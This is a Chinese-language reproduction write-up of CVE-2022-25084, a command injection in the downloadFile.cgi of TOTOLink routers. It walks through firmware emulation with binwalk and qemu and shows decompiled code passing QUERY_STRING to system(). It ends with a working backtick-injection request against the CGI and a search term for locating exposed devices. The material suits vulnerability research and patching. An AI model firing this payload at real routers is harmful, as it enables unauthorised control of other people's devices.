TOTOLink 多个设备 download.cgi 远程命令执行漏洞 #CVE-2022-25084

漏洞描述

TOTOLink 多个设备 download.cgi文件存在远程命令执行漏洞,攻击者通过构造特殊的请求可以获取服务器权限。

漏洞影响

TOTOLink 多个设备

网络测绘

“totolink”

漏洞复现

下载路由器固件

20240328110650329-1648907409606-0704b8c0-aa5c-44d4-9d45-9fd1c0c62736.4d1252be_2024-03-28_11-06-11 (1)

使用binwalk分解固件

20240328110743295-png

查看分解出来的文件

20240328110811434-png (1)

使用qemu搭建路由器

#set network
sudo brctl addbr virbr2
sudo ifconfig virbr2 192.168.6.1/24 up
sudo tunctl -t tap2
sudo ifconfig tap2 192.168.6.11/24 up
sudo brctl addif virbr2 tap2

qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1" -netdev tap,id=tapnet,ifname=tap2,script=no -device rtl8139,netdev=tapnet -nographic

创建后在qemu里执行命令启动路由器

ifconfig eth0 192.168.6.11 up 
scp -r squashfs-root/ root@192.168.6.11:/root/    	
chroot ./squashfs-root/ /bin/sh
touch /var/run/lighttpd.pid
./bin/lighttpd -f ./lighttp/lighttpd.conf -m ./lighttp/lib

注意 lighttpd.conf 文件需要修改 server.pid-file 参数

20240328110903728-png (2)

启动后访问路由器页面

20240328110946584-png (3)

我们找到需要分析的文件目录 squashfs-root/web_cste/cgi-bin

20240328111023163-png (4)

使用Ghidra分析 cgi文件 downloadFile.cgi

20240328111120354-png (5)

我们注意到其中的system执行命令

pcVar1 = getenv("QUERY_STRING");
memset(acStack1424,0,0x200);
memset(acStack912,0,0x200);
sprintf(acStack1424,"echo QUERY_STRING:%s >/tmp/download",pcVar1);
system(acStack1424);

其中 getenv 从请求Url中获取参数,传参给pcVar1,再通过下面的sprintf 赋值给 acStack1424 使用 system函数 进行命令执行

20240328111151568-png (6)

我们构造请求包控制 QUERY_STRING 参数来进行恶意命令执行

/cgi-bin/downloadFlile.cgi?payload=`ls>../cmd.txt`

20240328111223595-png (7)

20240328111245697-png (8)

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容